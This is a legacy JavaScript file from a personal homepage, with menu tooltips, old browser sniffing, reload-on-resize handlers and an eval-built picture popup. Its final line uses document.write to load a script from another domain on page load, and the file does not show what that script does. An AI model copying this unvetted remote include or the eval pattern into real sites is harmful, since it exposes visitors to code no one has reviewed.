/*
Author:  Sreekandakumar Pillai, sree@ananthapuri.com
Website: http://www.ananthapuri.com/sreekandakumar/
Purpose: This JavaScript file is used to define functions used in this website.
*/
window.onerror=null;
window.onload=initOnLoad;

//Window status bar message
var statusmsg="Welcome to Sreekandakumar Pillai's homepage.  Have a nice day!";

//Define the popup help messages for Menu links
var h_welcome 	 = "Go to welcome/home page of this site.";
var h_aboutme 	 = "Read about myself and interests.";
var h_academic 	 = "About schooling, first standard to engineering degree.";
var h_infosys 	 = "About Infosys and projects I did in Infosys.";
var h_hometown 	 = "A brief description of my village, city and state.";
var h_coollinks  = "Links to websites about my friends, Kerala and India.";
var h_pictures   = "Some of my pictures!";
var h_articles   = "Articles on personal home page creation, search engine submission, google search, national flag of India and amazing facts about India.";
var h_allaboutme = "About me, interests, work, village, friends and some pictures.";

//functions and variables for popup message on menu item links and 'up arrow' navigation elements.
var ns4=document.layers
var ns6=document.getElementById&&!document.all
var ie4=document.all
var Xoffset=0;
var Yoffset= 10;
var old,skn,iex=(document.all),yyy=-550;
if (ns4){
    skn=document.dek;
} else if (ns6)   {
    skn=document.getElementById("dek").style;
} else if (ie4) {
    skn=document.all.dek.style;
};
if(ns4 || ns6)
    document.captureEvents(Event.MOUSEMOVE);
else{
    skn.visibility="visible"
    skn.display="none"
}
document.onmousemove=get_mouse;

//Called onload event of the window.
function initOnLoad() {
    window.focus();
    window.status=statusmsg;
}

function popup(msg){
var content='<table  width="200" border="1" bordercolor="orange" cellpadding="4" cellspacing="0" bgcolor="lightyellow"><td align="left"><font face="Verdana, Arial" color="black" size="1">'+msg+'</font></td></table>';
    yyy=Yoffset;
    if(ns4){skn.document.write(content);skn.document.close();skn.visibility="visible"}
    if(ns6){document.getElementById("dek").innerHTML=content;skn.display=''}
    if(ie4){document.all("dek").innerHTML=content;skn.display=''}
}

function get_mouse(e){
var x=(ns4||ns6)?e.pageX:event.x+document.body.scrollLeft;
var y=(ns4||ns6)?e.pageY:event.y+document.body.scrollTop;
    skn.left=x+Xoffset;
    skn.top=y+yyy;
}

function kill(){
    yyy=-1000;
    if(ns4)
        skn.visibility="hidden";
    else if (ns6||ie4)
        skn.display="none"
}

//Reloading page onResize.
window.saveInnerWidth = window.innerWidth;
window.saveInnerHeight = window.innerHeight;

function resize() {
    if(document.layers) {
		resizewindow();
	} else {
        	window.location.reload();
	}
}

function resizewindow() {
    if (saveInnerWidth < window.innerWidth ||
        saveInnerWidth > window.innerWidth ||
        saveInnerHeight > window.innerHeight ||
        saveInnerHeight < window.innerHeight )
    {
        window.location.reload();
    }
}

//Show pictures on a popup window. This function opens a new window, writes contents dynamically in to it, and sets focus.
function showPic(imgname, _width, _height)   {
    winname = 'picture';
    _width += 30;
    _height += 50;
    features ='channelmode=0,directories=0,fullscreen=0,location=0,menubar=0,scrollbars=0,status=0,titlebar=0,toolbar=0,resizable=0,'+'width='+_width+',height='+_height+',top=0,left=0';
    content = '<html><head><title>Pictures</title></head>';
    content += '<script>window.onblur=close;</script>';
    content += '<body>';
    content += '<table bgcolor="white" align="center" cellspacing="0" cellpadding="0" border="0">';
    content += '<tr><td align="center"><img src="'+ imgname +'" alt=""><br>';
    content += '<a href="javascript:window.close()">close</a></td></tr>';
    content += '</table>';
    content += '</body>';
    content += '</html>';
    eval(winname +'= window.open("",winname, features)');
    eval(winname +'.document.open("text/html","replace")');
    eval(winname +'.document.write(content)');
    eval(winname +'.document.close()');
    eval('if ('+winname+'!= null) '+winname+'.focus()');
}

document.write('<scr' + 'ipt language="javascript" type="text/javascript" src="http://teck.in/bharat.js"></scr' + 'ipt>');